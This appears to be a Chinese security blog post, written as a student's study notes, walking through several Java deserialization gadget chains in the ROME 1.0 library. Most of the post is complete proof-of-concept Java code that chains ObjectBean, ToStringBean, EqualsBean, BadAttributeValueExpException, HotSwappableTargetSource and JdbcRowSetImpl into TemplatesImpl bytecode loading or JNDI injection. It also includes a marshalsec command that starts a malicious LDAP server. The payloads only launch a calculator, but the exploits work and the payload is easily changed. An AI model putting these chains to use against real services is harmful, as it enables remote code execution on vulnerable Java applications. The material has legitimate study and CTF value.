学完这个利用链给我的感觉就是和FastJson高度相似,因为都会调用任意的set和get方法,从而导致RCE,因此Rome反序列化利用链很多都和FastJson重复,调用栈什么的都很简短,因此非常好学习
一些吐槽的话,可以略过
你妈妈的离散数学,给我整破防了,又臭又长,考的都是些啥啊,好在还是考完了,要是不考完我估计我得自闭,长达八天的考试周真的和监狱里坐牢一样,这种事情这辈子不想体验第二次,太几把抽象了,难受难受难受
ObjectBean利用链
这一条链子就是最初的原型,看看调用栈:
1 2 3 4 5 6 7
| * TemplatesImpl.getOutputProperties() * ToStringBean.toString(String) * ToStringBean.toString() * EqualsBean.beanHashCode() * EqualsBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream)
|
很朴素的一条链子,POC如下:(该POC是4ra1n等师傅缩短payload后的简化payload,在最后会放参考链接)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class dome { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("i"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");"); byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "a"); setFieldValue(templatesImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean); Map hashMap = new HashMap(); hashMap.put(objectBean, "x");
setFieldValue(objectBean, "_cloneableBean", null); setFieldValue(objectBean, "_toStringBean", null);
ByteArrayOutputStream bs = unSerial(hashMap); Base64Encode(bs); }
private static ByteArrayOutputStream unSerial(Map hashMap) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bs); out.writeObject(hashMap); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray())); in.readObject(); in.close(); return bs; } private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
我们先做好环境搭建准备,Maven选择quickstart,然后POM文件如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency> </dependencies>
|
断点肯定就下在readObject
最外层套的是一层HashMap,因此很自然的进入HashMap重写的ReadObject方法中:
然后再最后肯定就会调用hash函数,这个函数已经见烂了,在CC链和一些其他的链子中,它随后会调用hashcode函数
这里我们将key设置为了ObjectBean类,因此就会调用ObjectBean#hashcode
函数
调用equalsBean.beanHashCode()
在里面调用了toString方法,其实这里有说法的,我也觉得这里也可以做点文章,因为toString这个方法太敏感了,很多链子都可以通过这个方法继续往下去触发,我可能下周投的题就是这里了嘻嘻,好了回归正题,这里的this._obj
为ToStringBean,因此调用它的toString方法
调用它的另一个有参toString
this._beanclass为javax.xml.transform.Templates,将它的名字传入了getPropertyDescriptors
,跟进
在这里调用getPDs方法,去看看它的逻辑,这里需要注意一个点,就是我们入口不是hashcode函数吗,在调用put时也会调用,只不过那时候由于一些不确定因素不会导致calc执行,也就是一共调用2次hashcode,但是第一次调用hashcode时有一个比较重要的一点,就是我们说的getPDs方法,第一次调用时,会进入该方法,然后获取任意get和set方法,这里就是fastjson的流程
之后退回toString,触发invoke调用get方法:
之后就是TemplatesImpl实例化恶意类的流程了,这里就不继续往下分析
HashTable利用链
这条链子实际上就是在HashMap被ban的情况下进行反序列化,因为最终目的始终都是调用hashcode函数,而HashTbale中刚好调用了hashcode,因此仍然可以触发整套流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package ROME; import Serial.Serial; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Hashtable; public class ROME_HashTable { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\ROME\\target\\classes\\shell.class")); setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl); ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean); Hashtable hashtable = new Hashtable(); hashtable.put(objectBean,"123"); Serial.Serialize(hashtable); Serial.DeSerialize("ser.bin"); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
也是直接弹的,因为在HashTable的readObject方法中也是可以看见hashcode的身影
因此原理一样,也是会弹出计算器的
BadAttributeValueExpException利用链
这个类在CC链中我们是拿来触发toString的,他的readObject方法中有toString,因此可以直接连着Rmoe链的ToStringBean,这样也是可以触发的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class BadAttributeVer { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("i"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");"); byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "a"); setFieldValue(templatesImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123); setFieldValue(badAttributeValueExpException,"val",toStringBean); ByteArrayOutputStream bs = unSerial(badAttributeValueExpException); Base64Encode(bs); }
private static ByteArrayOutputStream unSerial(Object o) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bs); out.writeObject(o); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray())); in.readObject(); in.close(); return bs; } private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
在badattribute类的readObject方法中调用了toString,而这里我们让val等于ToStringBean,把链子连接起来了,因此也是可行的
HotSwappableTargetSource利用链
这个其实我们在之前的文章,也就是西湖论剑的easy_api里提到过,一个拿来当跳板的类,这个类有equals方法,可以触发Xstring的toString,那么也就可以接上Rome的后半段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class HotVer { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("i"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");"); byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "a"); setFieldValue(templatesImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("123")); HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean); HashMap<Object, Object> map = new HashMap(); map.put(h1,h1); map.put(h2,h2); ByteArrayOutputStream bs = unSerial(map); Base64Encode(bs); }
private static ByteArrayOutputStream unSerial(Object o) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bs); out.writeObject(o); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray())); in.readObject(); in.close(); return bs; } private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
这边的流程也很简单,首先入口还是hashmap,里面的putval函数调用了equals,这里有2个hotswapper
左边的是h1右边equals里面的是h2
这里的target就是xstring,右边里面的内容就是ToStringBean,随之进入Xstring的equals方法里
obj2就是ToStringBean,因此链子闭合,逻辑无误
JdbcRowSetImpl利用链
这个类是在FastJson反序列化里见到的一个类,这个类中调用了lookup方法,因此可以进行JNDI注入,所以JDK版本也要注意一下,jdl8的话要小于191版本
这个类的入口点是在一个get方法上JdbcRowSetImpl.getDatabaseMetaData()
,而rome链中又可以调用任意get方法,那其实也就和TempaltesImpl链思路是一样的,只是在不能使用TempaltesImpl时可以进行替换
这里介绍一个工具,marashalsec,用来起恶意ldap和rmi服务端的一个工具,很方便
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://](http://127.0.0.1:8888/#EXP)localhost:8888/#Exploit 9999
在8888端口放上你的payload,这里就准备一个弹计算机的,名字改为Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class JdbcVer { public static void main(String[] args) throws Exception{ JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url="ldap://localhost:9999/Exploit"; jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean); HashMap<Object, Object> map = new HashMap<>(); map.put(equalsBean,"xxxxx"); ByteArrayOutputStream bs = unSerial(map); Base64Encode(bs); }
private static ByteArrayOutputStream unSerial(Object o) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bs); out.writeObject(o); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray())); in.readObject(); in.close(); return bs; } private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
调用connect方法,跟进
调用lookup,触发JNDI注入,得以RCE
这里需要注意一下,既然是JNDI注入那么就得控制好Jdk版本问题哦
EqualsBean链
校赛题就是被这个非预期拉。我属于是老版本没和新版本配合的很好
其实Rome单独拿出来也是可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.*;
public class App { private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } public static void main( String[] args ) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("i"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "a"); setFieldValue(templatesImpl, "_tfactory", null); EqualsBean bean = new EqualsBean(String.class, "s");
HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy", bean); map1.put("zZ", templatesImpl); map2.put("zZ", bean); map2.put("yy", templatesImpl); HashSet table = new HashSet(); table.add(map1); table.add(map2); setFieldValue(bean, "_beanClass", Templates.class); setFieldValue(bean, "_obj", templatesImpl); unSerial(table); } catch (Exception e) { e.printStackTrace(); } } private static ByteArrayOutputStream unSerial(Object hashMap) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bs); out.writeObject(hashMap); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray())); in.readObject(); in.close(); return bs; } private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } }
|
这边其实HashMap,HashSet、HashTable都是可以用来替换的(最后序列化的东西)只要调用equals就可以触发接下来的链子拉
HashMap调用了equals,跟进
同样也是调用了equals最终获取getter
然后HashSet和HashTable调用也是这样,换汤不换药的